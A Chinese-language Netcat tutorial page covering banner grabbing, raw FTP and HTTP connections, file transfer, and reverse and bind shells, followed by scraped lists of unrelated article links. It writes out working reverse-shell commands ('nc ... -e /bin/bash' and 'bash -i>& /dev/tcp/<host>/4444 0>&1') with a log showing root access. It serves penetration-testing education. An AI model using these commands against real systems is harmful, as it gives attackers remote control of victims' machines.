Netcat 网络攻击 以及 应用

1.用Netcat进行黑客攻击第1部分:基础知识

Netcat是一个很好的网络实用程序,用于使用TCP和UPD协议读取和写入网络连接。Netcat通常被称为网络工具中的瑞士军刀,我们将在使用黑客教程的不同教程中大量使用它。Netcat最常见的用途是设置反向和绑定shell,管道和重定向网络流量,端口侦听,调试程序和脚本以及Banner抓取。在本教程中,我们将学习如何使用Netcat的基本功能,如:

Banner抓取 原始连接 Web服务器交互

1.1 Netcat Banner获取

使用以下命令来获取服务器Banner(与服务建立原始连接):

nc [ip address] [port]
我们来试试这个在21端口运行的Metasploitable 2上的FTP服务: nc 192.168.1.100 21
nc [ip] [port]用于与端口进行原始连接,当可用时将返回服务器Banner。
code:
rocky@kail: nc 23.105.202.xx 21 # 21 ftp 控制链接
220 (vsFTPd 2.2.2) # 系统服务 banner

1.2 Netcat原连接

为了演示原始连接的工作原理,我们将在FTP服务连接到目标主机后发出一些FTP命令。
在匿名的情况下,我们来看看这个FTP服务器是否允许匿名访问,通过USER和PASS命令。
code:
rocky@kail: nc 23.105.202.xx 21
220 (vsFTPd 2.2.2)
user ligang
331 Please specify the password.

1.3 Web服务器交互

Netcat还可以通过发出HTTP请求与Web服务器进行交互。
通过以下命令,我们可以抓住在Metasploitable 2上运行的Web服务的Banner: nc 23.105.202.xx 80

然后运行此HTTP请求:

HEAD / HTTP / 1.0
rocky@kail: nc 23.105.202.xx 80
HEAD / HTTP / 1.0 << 输入
HTTP/1.1 400 Bad Request
Server: nginx/1.12.0
Date: Sun, 28 May 2017 08:06:19 GMT
Content-Type: text/html
Content-Length: 173
Connection: close

1.4 使用Netcat进行文件传输

在这个例子中,我们将使用Netcat连接传输一个文本文件。假设我们在目标主机上执行远程命令,我们希望将文件从攻击主机传输到目标主机。首先,我们需要在目标主机上设置一个侦听器,并从攻击主机连接到它。我们将使用端口8080用于此目的,我们将该文件安全保存到桌面:

nc -lvp 8080> 1.txt

在攻击主机上,我们连接到8080端口并发送文件名称transfer.txt:

nc 192.168.100.107 8080 < 1.txt

2 用Netcat进行黑客攻击第2部分:绑定和反向shell

Netcat反向reverse shell

在渗透测试中,最常见,或者最受欢迎的用法是反向 reverse shell和正向bind shell。反向shell是从目标主机发起到处于监听状态的攻击机器的shell连接方式,又叫被动连接,而正向bind shell是攻击主机通过特定的端口进行侦听目标主机即将到来的连接。在恶意软件中,bind shell又通常被称为后门。

在下面的内容中我们将展示使用bind shell和reverse shell。下面将使用4444端口,但请注意,这可以是任何开放端口。实际上,通常您需要使用更常见的端口,如80和443来设置反向shell,因为这些端口是更常见的打开。

NC reverse shell 工作原理:

攻击主机A执行:
nc -lvp 4444 ; 监听被攻击者链接
被攻击主机B执行:
nc xxx.xxx.xxx.xxx 4444 -e /bin/bash ; 将bash shell 权限提供给攻击者 实现控制权限的转移;

实现通信后:

在攻击主机A上执行命令,即可操作被攻击者B

缺点:

此时被攻击者B 需要使用Netcat命令, 而且普通 GNU Linux nc 并没有 -e { -e filename program to exec after connect [dangerous]} 参数; 顾此种反向链接并不适用;

2.1 使用Bash 来代替Nc实现反向链接;

被攻击主机B:
bash -i>& /dev/tcp/23.105.202.xx/4444 0>&1
攻击者A:
nc -lvp 4444
A机代码:
[root@virtualS ~]# nc -lvp 4444
Connection from 111.15.33.114:17835 ## 此时B机执行转移指令 bash -i>& /dev/tcp/23.105.202.xx/4444 0>&1
root@kailvirtual:~#
root@kailvirtual:~#
root@kailvirtual:~#
root@kailvirtual:~#
root@kailvirtual:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@kailvirtual:~#
	bash -i>& /dev/tcp/23.105.202.xx/4444 0>&1 

命令解释:
bash:
-i if the -i option is present, the shell is interactive shell:
0/1/2 分别代表Linux标准输入,输出,异常 即 C编程中的 stdin, stdout, stderr 0>&1 指 将标准输入完全输出到标准输出中;
采用&可以将 0/1 绑定在一起。这条命令的作用标准输入将和标准输出同用一个文件描述符,说人话就是错误输入将会和标准输出输出到同一个地方。

2.2 Netcat正向bind Shell

bind shell是一个绑定到目标主机上的特定端口以监听即将到来的连接的shell。我们来看看一个Netcat正向bind shell的原理:

攻击主机A:
rocky@mac: nc 192.168.1.9 4444 id
uid=0(root) gid=0(root) groups=0(root) echo $HOSTNAME
kailvirtual

相同点:

我们都需要被攻击者将其shell控制权限交给我们

将shell command 以数据流的形式重定向到被攻击主机的Bash shell中;

更多Nc 学习参照链接

Kali Linux Netcat 学习 与 网络攻击的更多相关文章

  1. ApacheCN Kali Linux 译文集 20211020 更新

    Kali Linux 秘籍 中文版 第一章 安装和启动Kali 第二章 定制 Kali Linux 第三章 高级测试环境 第四章 信息收集 第五章 漏洞评估 第六章 漏洞利用 第七章 权限提升 第八章 ...

  2. 学习Kali Linux必须知道的几点

    Kali Linux 在渗透测试和白帽子方面是业界领先的 Linux 发行版.默认情况下,该发行版附带了大量入侵和渗透的工具和软件,并且在全世界都得到了广泛认可.即使在那些甚至可能不知道 Linux ...

  3. kali linux 网络渗透测试学习笔记(一)Nmap工具进行端口扫描

    一.利用Nmap扫描网站服务器的端口开放情况 首先打开我们的kali linux才做系统,再打开其命令行模式,输入:nmap www.csdn.net 如下图所示: 因此,通过这个结果可以表明csdn ...

  4. kali linux学习笔记之系统定制及优化(附:中文输入法设置)

    fix update flash plugin on kali rolling author:@kerker 0x00设置软件源 root@kali:~# vim /etc/apt/sources.l ...

  5. Kali Linux渗透基础知识整理(四):维持访问

    Kali Linux渗透基础知识整理系列文章回顾 维持访问 在获得了目标系统的访问权之后,攻击者需要进一步维持这一访问权限.使用木马程序.后门程序和rootkit来达到这一目的.维持访问是一种艺术形式 ...

  6. Kali Linux——迈向网络攻防

    自从进入大三的课程后,在已学的高数.线代.数论.概率论.信息论.通信等知识的技术上,开始了网络信息安全.网      络攻防的学习.俗话说得好,磨刀不误砍柴工,开始网络攻防之旅也势必要一个好的工具.然 ...

  7. Python黑帽编程1.1虚拟机安装和配置 Kali Linux 2016

    Python黑帽编程1.1虚拟机安装和配置 Kali Linux 2016 0.1  本系列教程说明 本系列教程,采用的大纲母本为<Understanding Network Hacks Att ...

  8. Kali linux渗透测试常用工具汇总1

    1.ProxyChains 简介:代理工具.支持HTTP/SOCKS4/SOCK5的代理服务器,允许TCP/DNS通过代理隧道. 应用场景:通过代理服务器上网. 配置:/etc/proxychains ...

  9. Kali Linux下破解WIFI密码挂载usb无线网卡的方法

    Kali Linux下破解WIFI密码挂载usb无线网卡的方法 时间:2014-10-12    来源:服务器之家    投稿:root 首先我要说的是,wifi密码的破解不是想象中的那么容易,目前还 ...

随机推荐

  1. 再谈包访问权限 子类为何不能使用父类protected方法

    可见范围 权限的含义应该理解为控制范围,要把它理解成一个限制范围的空间,更为准确的说叫做可见范围 访问控制的等级,从最大权限到最小权限依次为:public.protected.包访问权限(没有关键词) ...

  2. spring-boot-2.0.3启动源码篇四 - run方法(三)之createApplicationContext

    前言 此系列是针对springboot的启动,旨在于和大家一起来看看springboot启动的过程中到底做了一些什么事.如果大家对springboot的源码有所研究,可以挑些自己感兴趣或者对自己有帮助 ...

  3. javascript基础修炼(10)——VirtualDOM和基本DFS

    1. Virtual-DOM是什么 Virtual-DOM,即虚拟DOM树.浏览器在解析文件时,会将html文档转换为document对象,在浏览器环境中运行的脚本文件都可以获取到它,通过操作docu ...

  4. 第54章 身份资源 - Identity Server 4 中文文档(v1.0.0)

    此类为身份资源建模. Enabled 指示此资源是否已启用且可以请求.默认为true. Name 标识资源的唯一名称.这是客户端将用于授权请求中的scope参数的值. DisplayName 该值将用 ...

  5. HTTP 常见的状态码

  6. [Go] golang连接查询mysql

    package main import ( "database/sql" _ "github.com/go-sql-driver/mysql" "lo ...

  7. ajaxFileUpload onchang上传文件插件第二次失效刷新一次才能再次调用触发change事件

    关于用ajaxfileupload时,遇到一个要刷新一次页面才能再次上传, ajaxFileUpload 用onchang上传只能上传一次 第二次就失效了 我找这个问题找了很长时间 ajaxFileU ...

  8. Maven项目POM文件错误,提示“Plugin execution not covered by lifecycle configuration”的解决方案

    一. 问题 Plugin execution not covered by lifecycle configuration: org.apache.maven.plugins:maven-depend ...

  9. 如何搭建一个VUE项目

    搭建环境 搭建node环境 下载 1.进入node.js官方网站下载页,点击下图中框出位置,进行下载即可,当前版本为8.9.4,下载网址为:https://nodejs.org/zh-cn/downl ...

  10. mac /linux vi/vim永久显示行号开启高亮模式

    临时显示:进入vi编辑器,输入命令 :set number     //下次在进入vi 无法显示行号 :set nonumber  //本次vi关闭行号显示 vi 每次修改后推荐使用命令: sourc ...